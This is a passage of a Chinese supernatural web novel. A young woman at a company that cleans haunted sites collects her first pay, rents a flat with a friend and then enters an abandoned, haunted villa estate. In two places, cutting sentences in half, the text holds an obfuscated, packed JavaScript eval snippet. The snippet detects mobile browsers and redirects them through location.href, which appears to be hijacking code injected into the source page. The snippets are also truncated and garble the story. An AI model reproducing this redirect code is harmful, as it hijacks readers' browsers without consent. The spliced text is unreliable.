季容开车带他们回市区,先打电话跟总部汇报任务完成情况,接着对另外三人说:“先回公司进行身体检查,没事的话大家就可以回家了,今天出外勤明天可以休息,三天后再来上班。” 姜栩一愣。 距离她上班不过八个小时,喜提三天假期。 这什么神仙公司! 面包车平稳地驶入绿萝大厦的地下车库。 姜栩跟着季容他们走进一部需要刷工牌才能启动的专用电梯,电梯没有在任何一个楼层停留,而是一直下降到地下三层,门一开,眼前是一条雪白的走廊,消毒水的气味扑面而来。 公司的医务室比姜栩想象中正规得多,挂号窗口后面坐着一个扎丸子头的年轻护士,看见他们四个走进来,头也不抬地问:“工号?” 季容把四个人的工号依次报了一遍。护士在电脑上敲了几下,抬头扫了一眼他们,目光在林知远瘸着的腿上周小满青紫的脖子上一扫而过,面无表情地说:“先去处置室,医生马上到。” 处理伤口的过程乏善可陈。 林知远的脚踝拍了片子,果然是骨裂,但裂口很细,不需要打石膏,医生给他敷了药,缠了两圈弹力绷带,叮嘱他一周内不要剧烈运动。 周小满的脖子只是软组织挫伤,抹了药膏就完事了。 季容和姜栩几乎没受伤,只是做了个常规检查,确认身体各项指标正常。 姜栩全程都在走神。 从304出来之后她一直在想一件事。 不仅仅是沈蕴华的经历让她感觉到意难平,还因为季容说的考核,她压根没听说过有什么考核。 季容觉得她肯定是简历上有什么过人之处。 听季容说这话姜栩心里都臊得慌。 简历上那点东西,别人不知道,姜栩自己还能不知道自己几斤几两重吗? 她一个孤儿院出来的,刚毕业半年找不到工作的大学应届毕业生,除了成绩稍微好一点,力气大一点之外,没有任何能让人眼前一亮的技能。 如果说她这辈子有什么不普通的地方,大概就是她是孤儿院长大的。 但这算哪门子过人之处。 又或者季容说的后半句,也许是上面看中她这个人。 谁看中她?为什么看中她?她有什么值得被看中的? 医生拍拍她的肩膀:“好了,很健康,没有任何问题。” 季容把三个人送到公司门口,交代了三天后上班的时间,又特意嘱咐姜栩一句:“别忘了申请住房补贴”。 周小满和林知远各自搭地铁回家,临走的时候周小满加了姜栩的微信,把她拉进原本只有三人的一个工作小群,群名叫“今天也在努力活着”。 公司的工资结得超级快,一秒钟都不耽搁。 姜栩的后脑勺刚刚离开公司大门,紧跟着就接到银行的短信通知。 到账金额:十五万两千元整。 紧接着又是一条消息,是宋清砚发来的工资明细。 日常出勤津贴两千元整。 C级任务完成奖金十万元整。 另外还有一笔额外的特别奖金,五万元整,备注写着“综合表现优异奖励”。 最后一行小字:功德值+100 姜栩掏出工牌,看到工牌最下面镌刻功德值后面的一长条凹槽里,在最左端的位置出现了一点点萤绿色的光点,好像是一个进度条一样,虽然只有一点点,但确实有所上涨,不过距离一整条凹槽涨满,还有明显遥遥无期的距离。 这功德值能干什么用? 叮咚一声,有信息接入通知,姜栩看到公司的内部短信: 恭喜NO.4494号员工姜栩成功接入功德商城,使用功德可以在商城中兑换道具、觉醒异能等,请查看可使用面板。 可使用一栏全部都是灰色的,异能按照等级从高到低排列,最低等级的异能也要五千功德值以上,而且姜栩还不知道这玩意兑换了之后是一次性的还是可以永久拥有。 道具更别提,一个比一个贵,虽然说有些道具看起来就特别有用。 比如这个“凝视之眼”,可以定格使用对象五分钟的时间。 在战场上掉线一分钟都能决定胜负,如果遇到特别难缠的对手,五分钟足够姜栩从喜马拉雅山跑到马里亚纳海沟。 但相应的,这玩意非常昂贵,需要一万功德值。 姜栩好像忽然明白了,对于公司来说,赚钱很容易,但是积攒功德值很难,而在公司的员工基本上都是以积攒功德值作为主要目标的。 但是姜栩还有一点不太明白,根据公司的尿性,它给的越少,说明这东西对它越重要,给的越多,说明这东西对它来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587145|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说也就是那么回事。 宋清砚神神秘秘地告诉过自己功德值可以让人“成仙”,飞升天道,对于终极目标是位列仙班的人来说,金钱确实算不得什么。 但是对于公司来说,它不已经是天道的代言人了吗? 那天道克扣那么多的员工功德,是为了什么呢? 姜栩觉得自己对公司了解甚少,而且这个问题对她来说不仅遥远,而且遥远得都不是一个次元的了。 想不明白的问题,她开始摆烂不想,专心思考起自己的余额来。 姜栩活了二十多年,银行卡里的存款从来没有以万为单位过。 大学四年靠着勤工俭学和助学贷款勉强撑过来,毕业之后卡里的数字更是在三位数和四位数之间反复横跳。 现在忽然变成六位数了。 她原本只想找个过渡性工作还完助学贷款,现在还完贷款还有很大一笔富裕。 惊喜过后是隐隐的不安,这份工资薪资高得离谱,危险程度也高得离谱。 为什么是她? 为什么没考核就让她过了? 短短的一天,姜栩竟有了一种恍若隔世的感觉,她掏出手机给顾怀彰发消息:“晚上火锅,姐请客!” 顾怀彰秒回:“你又发工资了?” “发了,来吃!” 两个人约在老地方见面,有一家开在她们出租屋附近商场里的平价火锅店,人均不到八十,锅底不要钱,鸭血可以无限续。 姜栩和顾怀彰相依为命的日子里很偶尔地会来这里搓一顿,点一些比较便宜的菜,老板同她们混熟了之后,每次都送盘肉。 顾怀彰比姜栩早到,已经占了位置,正对着菜单勾勾画画,看见姜栩走进来,远远就朝她挥手:“这边这边!” 姜栩手里一左一右拎着两个大袋子,一个袋子里装着给顾怀彰的礼物,另一个她进来的时候跟老板打招呼,顺手放在她面前的柜台上:“看看呀阿姨。” “哎呦什么好东西呀?给我的啊?”胖胖的老板扒开袋子,眼眶发红:“嗐,你这孩子怎么,刚找到工作就瞎花钱。” “那你看看喜不喜欢嘛。” “哎呦你真是……真的是……”老板娘很宝贝地把这个袋子拆开看了又看。 姜栩走过去坐下,顾怀彰把菜单推过来:“我点了两份鸭血一份毛肚一份黄喉,你再看看要加什么。” “你就不能多点几个肉菜?” “贵的等你来了再点嘛。” “你就是抠。”姜栩拿起笔,在牛肉羊肉虾滑上各打了个勾。 锅底端上来,红油翻滚,热气蒸腾。两个人涮着肉,有一搭没一搭地聊天。 姜栩选择性地讲了今天出任务的事。 顾怀彰听得津津有味,一边往嘴里塞鸭血一边追问细节:“真的有血吗?地上有血吗?墙上有没有写什么血字之类的?电影里不都那么演的吗?” “没有血字,就是脏。”姜栩夹了一筷子牛肉放进锅里涮,“不过确实挺有冲击力的,一般人可能接受不了。” “那你接受得了吗?” “我接受得了。”姜栩说,“而且工资真的很高。” 她放下筷子,认真地看向顾怀彰:“顾顾,我们公司还在招人。我跟我们队长问了,她说有内推名额,你要不要试试?” 顾怀彰愣了一下,嘴里的鸭血还没咽下去,腮帮子鼓鼓的。 她把鸭血咽下去,又喝了一口饮料,然后才说:“哇,你这第一天上班就要拉我入伙啊。” “我说真的。” 顾怀彰一笑:“就知道你够意思,我还没来得及告诉你,我今儿找到工作了!” 姜栩愣了一下,然后猛地拍了一下桌子:“你怎么不早说!” “这不还没到最后一步嘛,怕生变故,想定下来再说,那边已经给我发了offer,下礼拜就去入职,是一家新能源公司,离你公司挺近的,也在市中心那边!” “好啊,好事情!” 姜栩把火调小,往锅里下了半盘虾滑:“那咱们明天去看房子吧。” “看房子?” “对啊,咱俩不是早就说好了吗?等找到工作了就换个大点的房子。我现在有钱了,公司还有住房补贴,咱们可以租个两室一厅,一人一间卧室,客厅还能放个沙发看电视。你要是觉得合租不方便,咱们也可以找相邻的两个单间,做邻居也行。” “好,明天去看房子。不过你别请客了,今天这顿我请。” “你不是还没发工资吗?” “那也不能老是你请我。上顿是你请的,这顿必须我请。” 姜栩看着顾怀彰认真的表情,没有跟她争。 她知道顾怀彰的性子,这个姑娘看着大大咧咧的,其实自尊心很强,让她请一次她心里才舒服。 “行,你请你请。”姜栩举起杯子,“那这杯敬咱俩都找到了工作。” 顾怀彰也举起杯子,跟她碰了一下。 “敬咱们终于不用睡隔断间了。” 12. 跳动的眼球 姜栩暂时放弃所有的思考,一心一意向着理想的生活进发。 她好像看见了吃喝不愁的生活在向自己招手,这辈子也没想过自己能过上小时候无比羡慕向往的生活。 第二天一早,两人早早出发,坐地铁去看房子。 中介是个二十出头的小伙子,骑着一辆电动车,咯吱窝地下夹一个文件夹,带她们跑了三处房源。 第一套在绿萝大厦附近三站地铁的地方,小区不算新,但胜在交通方便,两室一厅,南北通透,月租四千五。 第二套在顾怀彰即将入职的外贸公司附近,老小区,但内部重新装修过,两室一厅,月租三千八。 第三套在两个人工作地点的中间位置,精装修,家具家电齐全,拎包入住,两室一厅,月租五千。 “我觉得第三套最好。”顾怀彰从第三套房子里出来的时候说,“你上班坐地铁四站,我六站,都不算远。而且这个客厅好大,我们可以买个投影仪看电影。” “那得等我下个月发工资。” “我发了工资买。” “你不是还没发吗?” “我先预支一下未来的工资嘛。”顾怀彰笑嘻嘻地挽住姜栩的胳膊,“再说了,你那份工作那么累,我买个投影仪犒劳你也是应该的。” 姜栩笑了:“那就定这套?” “定!” 她们当场给中介交了定金,中介小伙也没想到这两个看起来刚毕业的小姑娘如此干脆利落就定下来,省着他跑好几趟的麻烦,还定了最贵的一套,当即在权限范围内免除了一部分中介费,约好下个周末签合同。 从中介门店出来的时候,两个人都觉得脚步轻快得要飘起来,好像压在身上半年的那块大石头终于被搬开了,连呼吸都顺畅了许多。 “走,去看看附近有什么好吃的。”顾怀彰打开手机地图开始搜周边的餐厅,“以后咱们就要在这一带生活了,得提前摸清楚哪里有好吃的。” 两个人沿着街道慢慢走,一边走一边张望两边的店铺。 这一带算是城市里比较成熟的居住区,商业配套很齐全,街边有水果店、便利店、药店、理发店,还有一家看起来开了很多年的小吃店,门口支着两口大锅,热气腾腾地煮着馄饨和面条。 “哇这家看起来好好吃,回头一定要来试试。”顾怀彰指着一家糖水铺的招牌。 两个人继续往前走,不知不觉拐进了一条岔路。 这条岔路的尽头是一片被围墙圈起来的区域,围墙很高,上面插着碎玻璃和铁丝网,有些铁丝网已经破了个大洞,歪歪斜斜地挂在那里。 当风吹过,里面传来空洞的回响。 隔着铁门,能看到里面一排一排的独栋别墅,门口都带着小院子,但显然荒废已经,门口的杂草长得一人多高,枯枝败叶在冬日显得更加萧瑟凄凉。 此时正是中午十二点,阳光明媚,正片别墅区却透着一股子让人不舒服的阴冷。 “哇,别墅区诶!”顾怀彰好奇地往里面张望。 “对呀,好漂亮的别墅,”姜栩跟着走过去,她打小没有家,可能也正是这个缘故,姜栩从小特别渴望拥有自己的房子,她站在铁栅栏外往里张望,“都废弃了,好可惜,荒废着也是荒废着,要是能给我住就好了。” 姜栩趴在围墙的铁栅栏门上往里看了半天,叹了口气:“以后要是能住上这样的房子就好了。有院子,可以种点花花草草,养只猫,再放个躺椅,夏天晚上在院子里乘凉。” 话是这么说,但姜栩对原本不属于自己的东西没有任何占有欲,不过是一句感慨,觉得荒废了可惜。 她心里还盘算着,如果以后有机会拿A级任务,奖励就是五十万加一套豪宅。 宋清砚说过,那些豪宅以前也基本都是凶宅,但净化部门都处理过了,干干净净能住人。如果她多接几个任务,级别上去了,说不定真能拿到一套这样的房子。 “你倒是想得挺美。”顾怀彰笑着拍了一下她的肩膀,“这种别墅啊,一出生有就有,一出生没有,那这辈子大概率就没有啦。” 姜栩正要反驳,就听见身后一声嗤笑。 “有什么好哦。” 俩人同时回头,看见一个穿着花布衫的老阿姨拎着一兜子菜从旁边经过,大概六十来岁的样子,脚上趿拉一双布鞋,看样子就住在附近。 “你们这些小姑娘哦,不能看见好的就想要啦,这里可没什么好的,都荒废好久啦。前几年就说要拆迁,也不知道为什么又都搁置了,现在里面都变鬼楼了啦。” “鬼楼?”顾怀彰瞪大了眼睛,露出小时候听长辈讲故事时候那种又害怕又期待的表情。 “可不是嘛。” 阿姨把菜兜子换到另一只手上,压低声音,像是怕被什么东西听见似的。 “我跟你们讲哦,住在这附近的人都知道,这片别墅群闹鬼的呀。早些年刚建好的时候,多少有钱人搬进来住的,后来一个接一个都搬走了。有的是生病,有的是做生意亏了钱,还有的是家里出了人命官司。反正住进来的人没有一个好下场的啦。” 阿姨意味深长:“你们不知道,这个别墅群以前起了一场大火,哦呦,死了好多人诶,后来还失踪了好多人呢!” “住在这里面有什么好的啦,都变鬼啦。” 顾怀彰听鬼故事听得浑身起了一层鸡皮疙瘩,两只手交握住姜栩的胳膊:“好吓人啊,阿栩,这种地方也在你们公司的清洁范围吗?” “应该也在吧。” 姜栩想,这要是真的在的话,高低也是个B级任务,那就可以赚很多钱了。 爱财如命的姜栩瞬间就有点眼馋。 唉算了,走吧走吧,姜栩上次出的C级任务已经十分凶险,要真是遇到B级,可能她压根不能活着出来,姜栩对自己的评估一向非常客观。 她刚准备转身走,盘算着早点回去和顾怀彰收拾东西,买点生活用品,早早搬家,眼球忽然狠狠跳了一下。 好像一根针从外往里狠狠扎了一下,尖锐的疼痛瞬间炸开,姜栩始料未及,疼得“哎呦”一声,捂住眼睛弯下了腰。 “阿栩?!”顾怀彰被她的反应吓了一大跳,赶紧扶住她的胳膊,声音都变了,“怎么了怎么了?眼睛怎么了?” 姜栩弯着腰,一只手死死捂着右眼,另一只手抓着顾怀彰的胳膊,指甲几乎掐进了她的袖子里。 那个疼痛来得太突然太剧烈了,像是有什么东西在她的眼球里横冲直撞,从眼底一直疼到后脑勺,太阳穴突突地跳,眼泪哗哗地往外涌,根本控制不住。 “眼睛疼,我眼睛好疼。” “怎么了怎么了,我看看,来给我看看。”顾怀彰掰开她的手,扒开眼皮上下看了看,“没事啊,红都没红的。” “奇怪了, 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“不行不行,你这样不行。”顾怀彰扶着她,脸上写满了焦急,左右张望了一下,“旁边就有个药店,你在这里坐着别动,我去给你买瓶眼药水,先滴一下消消毒。说不定是什么看不见的小飞虫进去了,这种天气就是虫多,感染了就麻烦了,实在不行我们就去医院。” 她把姜栩扶到路边一棵行道树下的长椅上坐下,姜栩捂着眼睛坐在那里,眼泪顺着指缝往下淌,把裤子都打湿了一片。 疼痛是一阵一阵的,来的时候像针扎,连着太阳穴脑神经一起痛不欲生。 退下去的时候又只剩下一片酸胀,她眯着左眼看着顾怀彰跑进药店,模模糊糊中看见一个光斑从别墅区的方向飞过来,飞跃铁栅栏,一闪而过,像是子弹一样撞进姜栩的眼睛。 那种疼痛消失了。 姜栩愣愣地坐在长椅上,大口大口地喘着气。 她的右眼不疼了。不光不疼,还有一种奇异的清凉感,像是刚滴了薄荷味的眼药水,每一次眨眼都能感觉到一股微凉的气流拂过眼球表面。 那种感觉非常神奇,姜栩抬头看世界,这世界和之前一样,但又有不同,特别是别墅区的方向。 一层淡淡的灰黑色雾气笼罩在整片别墅区的上方,这是她刚才没有见过的,这层雾气像一只倒扣着的碗,把所有的房子笼罩在里面。 雾气很薄,但是在正午的阳光照射下也没有散去的意思,反而在缓慢地翻滚着,流动着,像是有生命一样。 顾怀彰攥着一瓶消炎眼药水从药店里跑出来,见姜栩安安静静坐在长椅上,表情困惑。 “阿栩,眼药水买来了,你快滴一下。”顾怀彰气喘吁吁地跑到她面前,弯腰去拧眼药水的瓶盖。 姜栩配合着她滴了眼药水,并没有什么排异反应。 “好点了没有?” “好多了,你这眼药水来的及时。” “真的不疼了。” 顾怀彰又仔细端详了一会儿,确认姜栩不是在硬撑,才松了一口气,把眼药水塞进姜栩包里:“给你留着备用。你刚才吓死我了,我都寻思给你打个120送急诊,眼睛可不是开玩笑的。” “我这回真没事了,刚才忽然想起来有事要回公司一趟,你先回家,我很快回去,回去收拾东西,争取这个周末就搬过来。” 支走了顾怀彰,姜栩重新坐在长椅上,看着阳光下幽深神秘的别墅区。 事情到了这个地步,姜栩要是还不明白什么意思那就白活了。 这别墅区里有东西,引诱她进去。 13. 【塞拉庄园】会动的雕塑 进去,还是不进去,这是一个值得思考的问题。 隔着铁栅栏望着别墅区的深处,普通人眼中那只是荒芜破败的景象,在她眼中却笼罩着一层灰色的纱,纱雾轻轻浮动,像某种巨大的远古生物正在缓慢呼吸。 姜栩从小喜欢看恐怖片,和顾怀彰在大学宿舍里不知道一起看过多少部。 每部片子里总有那么一两个角色,明知道前面不对劲,但还非要推开门进去看看,然后就会成为全片第一个领盒饭的倒霉蛋。 姜栩在无数个夜里被这种智障气得脑壳疼。 现在她就站在那扇“门”前面。 理智告诉她应该起身离开,就当什么都没看见。 公司的任务有评级、有装备、有队友、有队长坐镇,做完了还能拿钱和功德。 她一个刚入职一天的新人,凭什么觉得自己有资格单独面对一个看起来比沈蕴华那单子还凶的地方? 可她想自己和恐怖片里那些倒霉蛋到底还是有不一样的地方。 那些人是为了推动剧情自己作死,可是姜栩走到今天这一步,总觉得是有一双无形的手,把自己推到现在这个节点,这扇门前。 有一只手把她推到既定的命运上,姜栩不准备逃避。 姜栩抬头看苍天。 天色灰蒙蒙的,方才其实还是晴空万里,但姜栩坐在这儿犹豫的空当,已经有大片的乌云从天边翻卷而来,并且开始刮风,行道树的叶子哗啦啦地响,是山雨欲来风满楼之势。 姜栩想起季容的话,也许是上面看中你这个人也说不定呢。 她摸了摸自己的口袋,只有手机、钥匙和一张公交卡。 防护服和面罩都在公司,现在回去拿是不现实的。 且不说季容会不会知道,光是从这里到绿萝大厦往返就要将近一个小时,等拿回来黄花菜都凉了。 而且按照规定,每次出外勤都要在系统里登记装备领取记录,她刚出完一个任务,紧接着又领一套装备,公司系统一定会亮红灯。 但公司也说过,进出怨境必须佩戴防护用具。没有面罩,她连怨境里的空气都扛不住。 沈蕴华那个单子虽然评级不高,但如果没有面罩隔绝气味,光是那个腐烂的恶臭就够她把早饭吐干净的。 姜栩站在狂风里,大脑飞速运转。她现在就像一个站在考场门口发现自己没带准考证的考生,进退两难。 想了半天,也没想出个所以然来。 遂去小卖部,花高价五十,买了一只强光手电和一个N95口罩,和上一次出任务想必,这套装备堪称捡漏,但她很乐观地想,既然是背后推手让她过来,总不见得想那么快玩死她。 在过去的日子里,有那么几次,在面对无法解决的事情的时候,姜栩无力反抗之际也会觉得天命难违,每到这个时候,她会非常坦然地选择面对。 你得允许一切发生。 姜栩在别墅区旁边坐了一个下午,一直到月上中天,是一弯残月,冬风中显得冰冰冷冷。 姜栩给顾怀彰发了一条短信:“我有事得加班,今天不回去吃饭了,别等我。” 顾怀彰很快发了回信:“好的啊,那我收拾家里,你要早点回来哦。” 无论多晚,回家都有人等着自己,姜栩的心口弥漫开一股暖意。 她又编辑了一条短信给顾怀彰,想了想,又拷贝了一份给季容。 不过这两条都没有立刻发送,而是定时发送。 如果她在这里面真的出了事,总要有人来收尸,万一没死但是被缠住了,有人托底也很重要。 季容是她的队长,两个人在战斗中还算比较有默契,但是离开了公司,关系近似于陌生人,然而有些事情不应让顾怀彰知道,免得她卷入这种复杂的事情里。 思来想去,季容是最合适的人选。 准备好了,姜栩活动了一下坐了一下午有些僵硬的腿脚,步走向别墅区的侧面围墙。 正门不能走,太显眼。她绕到别墅区的侧墙,找了一段没有路灯直射的位置。 围墙大概两米出头,上面又碎玻璃和铁丝网,姜栩找了一个碎玻璃相对比较少的墙头,退后几步助跑,一脚蹬在墙面上借力,双手扒住墙头翻了上去。 之前她在孤儿院的时候老翻墙,那是因为孤儿院有的零食太少了,孩子们又都是嘴馋的年纪,好在院子里有一棵大槐树,夏天的时候开满一嘟噜一嘟噜雪白的槐花。 姜栩就爬墙去摘槐花,摘了给比自己更小的弟弟妹妹们解解馋。阿姨每次逮到都骂她没个女孩样,她笑嘻嘻地说我本来就不是什么淑女。 姜栩骑在墙头上,拧身跳下去,靴子踩在厚厚的枯草上,发出一声闷响。 在她落地的那一瞬间,一股冷意瞬间从四面八方包裹过来,把她整个人吞了进去。 姜栩所在的城市偏南方,即便是冬天最冷的月份,气温也很少降到零度以下,街上到处都能看见常绿的香樟和女贞,到下雨的时候会有点湿冷。 这个别墅区的冷已经超越了湿冷的范畴,像无数根冰冷的钢针顺着姜栩的骨头缝刺进来,与其说是冷,姜栩觉得这更像是一种阴气。 一种大夏天走进地下车库的阴气。 姜栩拢了拢外套。她穿得不多,里面一件打底的内搭,外面一件黑色的薄棉外套,按理说可以保暖,但那股冷意似乎能穿透一切物理屏障,直接作用在她的感知上。 她搓了搓手臂,把拉链拉到最顶端,一边左顾右盼往里走。 月光很淡,照在地上只能勉强勾出道路的轮廓,两边衰草连天,几乎到半人高,月色下黑魆魆如同鬼魅一般。 刚走没两步,姜栩总感觉有一只阴冷怨毒的眼睛在暗处盯着自己。 她猛一转头,找到了那股让人不舒服的视线的来源,是一只摄像头的指示灯。 在正前方一栋别墅的门廊上方,一个半球形的摄像头正对着她,镜头下方亮着一个暗红色的小点。 废弃多年的别墅区,摄像头居然还在工作。 扫视周围,这样的摄像头还真不少,不愧是豪华别墅区,安保系统就是到位。 姜栩站在一片枯草里,和最近的那个摄像头对视了几秒。 她不喜欢这种感觉。 好像被凝视,但现在这种摄像头无孔不入,姜栩只能装作自己毫不在意,刻意忽略。 她把目光从摄像头上收回来,继续沿着墙根往里走。走过第一排别墅的侧面,拐过一处枯死的景观灌木,来到了别墅区的主干道上,眼前豁然开朗。 主干道很宽,双向车道,中间夹着一条绿化带。路面上铺着龟裂的沥青,裂缝里长满了枯黄的野草,主干道的尽头,正对着别墅区大门的位置,有一个巨大的圆形喷水池,不过里面的水已经干了,里面都是落叶和垃圾。 池子很大,直径大概有十几米,池壁用白色大理石砌成,中央立着一组雕塑,是白雪公主和七个小矮人。 这别墅区看起来有些年头了,有点像九十年代或者是零几年的产物,那时候欧式审美非常火,这个别墅区也不例外,里面充满了欧式元素。 姜栩走近几步,接着月色打量这组雕塑,可以想象他们曾经应该很漂亮。 白雪公主站在正中央的基座上,一手提着裙摆,微微弯腰,脸上带笑看着面前的小矮人。 七个形态各异的小矮人有的扛着锄头,有的戴眼镜,有的双手合十仰头看她,表情栩栩如生。 年长日久,雕塑外面白色的漆皮大片大片地脱落,露出下面灰色的水泥坯,斑斑驳驳,有些斑块刚好在脸上,在月光下呈现出一种半明半暗的效果,好像一个人脸上的皮肤被撕掉了一半,曾经漂亮精致的雕塑现在怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些雕塑都没有上色,全是白坯,它们保持着出厂设置一样的状态,被随意地放置在绿化带的各个角落,有些被藤蔓爬了半身,有些已经倒下。 姜栩在经过一组松鼠雕塑的时候,忽然眼角一闪,她不确定自己是不是眼花,本来已经走过去了,但是她后退两步,打量那只松鼠。 那是一只蹲在枯树桩上的松鼠,两只前爪捧着一颗松果,尾巴翘起来,姿态很生动。 她好像看见松鼠的头扭了一下。 姜栩不确定它动了还是没有,站在原地静静盯着它看,松鼠那只白色的空洞的眼窝好像也在盯着姜栩看,一人一鼠僵持了十几秒,姜栩收回目光,抬脚往前走,再猛一回头。 松鼠得尾巴垂下去了!它刚刚是翘起来的! 姜栩的心一下子提到嗓子眼,把消防斧横在胸前。 如果雕塑是活的,那这小区里可全是雕塑,她迅速扫了一眼周围,幸好都是很童话风格的可爱型雕塑,小兔子小鹿什么的,没有狮子老虎一类,问题是还有人形雕塑呢,人要是活过来了可怎么好。 姜栩强行镇定下来,这时候拔腿就跑绝对是最蠢的选择。 季容曾经告诉过她,怨境会放大内心的恐惧,用恐惧来喂饱自己。你越害怕它就越强,你越镇定它就越找不到突破口。 姜栩强装镇定往前走,一片寂静中她能清晰听见自己砰砰的心跳声。 雾气越来越浓,能见度越来越低,月光几乎透不进来,四周灰蒙蒙的一片。 在一片灰蒙蒙中,姜栩看见一个暖黄色的光晕。莫不是这别墅区还有人住? 姜栩朝光晕的方向靠过去,等她走进,才发现发出光亮的地方是在一栋独栋别墅的门口,门廊下,摆着一碗米,米上三炷香,米饭旁边一左一右摆着两支蜡烛。 姜栩看到的光晕就是这两支蜡烛的火光。 阴风吹过,烛火摇摇曳曳,明明灭灭。 14. 【塞拉庄园】滚动的眼珠子 这个场景说实话还是有点惊悚的,谁看见中式恐怖能不害怕呢? 而且很诡异的是,这两支蜡烛还在燃烧,如果不是怨境的作用而是真的有人祭拜,说明这个人应该来了没多久,不然的话就非常诡异了。 姜栩几乎可以确定这里就是怨境的核心,因为她感觉到右眼里的眼球如同心脏一样噗通噗通跳动,仿佛小狗看见了主人,摇着尾巴无比激动和期待的样子。 只不过,怨境处于另一个维度,而她现在还在现实世界,季容告诉过她,有时候怨境会隐藏,需要寻找进入的办法。 姜栩绕过地上的香烛,试着推了一下门。 门是虚掩着的,轻轻一推就开了,门轴发出沉闷的嘎吱声,在空荡荡的别墅里回荡了好几秒才消散。 一股陈腐和焦糊的气息扑面而来,就算是戴着口罩也难以阻隔。 姜栩站在门口,强光手电照进去,她借着光圈环顾门内的景象,并且第三次发出感慨:有钱人的生活,就是如此的朴实无华啊。 这是一个三层别墅,一进门就是一个高大的厅堂,厅很大,挑高至少有两层楼,姜栩甚至看不见天花板,只看见一盏巨大的水晶灯从顶上吊下来,沉甸甸地垂在那里,张牙舞爪如同一只死去的大蜘蛛蜷缩在自己的网中央。 正对着大门是一道弧形的双楼梯,左右各一架,通往二楼。 楼梯的扶手是铁艺的,上面有精致的涡卷纹样,和外面那些雕塑一样是欧式的审美。墙上贴着暗红色的壁纸,壁纸上印着金色的花纹,在这个暗淡布满灰尘的环境中依然显得金光熠熠。 大厅的侧手边应该是餐厅,但它大得就像一个宴会厅,正中央摆着一张非常豪华的长桌,上面散落着陈旧或破碎的盘子和杯子,甚至盘子里还有食物。 看整个房子的场景,似乎有人正在房间里举办盛大的宴会,结果突然发生了什么事情,大家匆匆撤离,再也没有回来,于是别墅就变成了如今的样子。 姜栩走了进去。 靴底踩在大理石地面上,发出空空的回响。这个厅太大了,大得她的脚步声好像要传很久才能传到尽头,她停下来,身后的脚步声也停下来。她走,身后的脚步声也走,好像有人跟着她。 是回声。她告诉自己。 这么大的厅,有回声很正常。 她穿过宴会厅,开始搜索线索。 趁着现在还没有进入真正的怨境,她得尽量多地了解这个地方,以便于自己能掌握更多活命的法则,季容告诉过她,每个怨境都有其运行的底层逻辑,掌握了逻辑之后,解决问题就会变得很容易。 窗外的雾气缓缓流动,雾气贴着玻璃窗,好像是贴着窗玻璃往里看,姜栩不自觉往外看了一眼,好像和那个东西对视。 窗玻璃上只倒影出姜栩自己的脸,手电筒的光从下面打上来,把她的五官映得惨白,眼眶的位置是两个深深的黑洞,嘴巴是一团模糊的暗影。 太吓人了。 姜栩猛然扭转过脸来。 不能看不能看,要不然一会儿自己把自己都要吓死了。 姜栩小心地在桌椅间穿梭,正专心间,忽然感觉脚底的触感有点奇怪,她踩到了一个圆溜溜软绵绵的东西。 低头顺着手电筒的灯光看去,辨认出那是一颗眼球。 如果是玩具的话,这东西做的也太真实了,她蹲下身细细打量。 这颗眼球离开眼眶太久,已经干瘪,甚至一边还连着神经末梢和肌肉组织,结果被姜栩一脚踩扁了,里面残存的液体和血色糊在一起,粘在地面和姜栩的脚底。 这颗眼球孤零零地躺在地上,眼珠的虹膜是深棕色的,瞳孔已经散开了,好像还在看着姜栩,死死地盯着姜栩。 姜栩啧了一声,感觉有点恶心,她在旁边的椅子腿上蹭了蹭靴子底,继续把手电筒的光往周围扫,才发现地上不止有一个人的眼球。零零散散的,有三四个,姜栩有两个猜测。 要么就是有什么神人突然冲出来,专门朝着人的眼球下手。 但可能性不大。除非这个人有绝对的力量,要不然他只要攻击一个人的眼睛,剩下的人绝对会立刻反应过来并且反抗,哪那么容易一刀一个,又不是挖萝卜菜。 还有另一个可能,是他们看到了什么不能看的东西,为了活命,自己把眼珠子挖掉了,无论是哪一种猜测都挺可怕的,姜栩的眼珠甚至开始幻痛了。 姜栩搜索完了一楼,除了眼睛之外没有发现什么更有用的线索,于是往楼梯方向走。 楼梯是弧形的,左右各一架,在二楼汇聚成一个小小的平台,平台上有一扇落地窗,窗帘紧闭着。 上了楼梯,二楼是一条长长的走廊。走廊两侧各有几扇门,有的开着,有的关着。走廊尽头是一扇大窗户,窗外雾气翻涌,月光透进来,在地毯上投下一块模糊的光斑。 姜栩一间房间一间房间开始搜罗,推开离楼梯最近的一扇门,就看到正对着门的巨大的一面顶到天花板的书柜和里面摆满了密密麻麻的书籍,书柜前面有一张巨大的红木桌,桌面上一盏复古的绿色小台灯,看起来这里应该是个书房。 姜栩凑过去看书架里的书,隔着玻璃柜门,看到这些书基本都是地方志和神鬼志怪一类的,《某县志》《某府志》《某地风物考》,一本一本,按年代排列,从清代的光绪刻本到民国的铅印本再到建国后的修订版,有些书脊上还贴着图书馆的标签,显然是从各地收集来的。 这栋房子的主人似乎对这些玄幻的东西非常感兴趣,光是《山海经》就有三个不同的版本,《搜神记》《酉阳杂俎》《阅微草堂笔记》《子不语》,这些志怪笔记整整齐齐地排了两层。 《百鬼夜行抄》《金枝》《比较宗教学》《原始信仰与灵魂崇拜》,从东方到西方,从民间传说到学术专著,几乎可以开一个民俗学专题图书馆。 书桌上堆着更多的书和笔记。姜栩打着手电细看,桌上摊着一本翻开的书,书页上有人用红笔和蓝笔做了密密麻麻的批注。 这也太认真了,难道这人是什么民俗学者?那她研究出这世上有天道存在了吗? 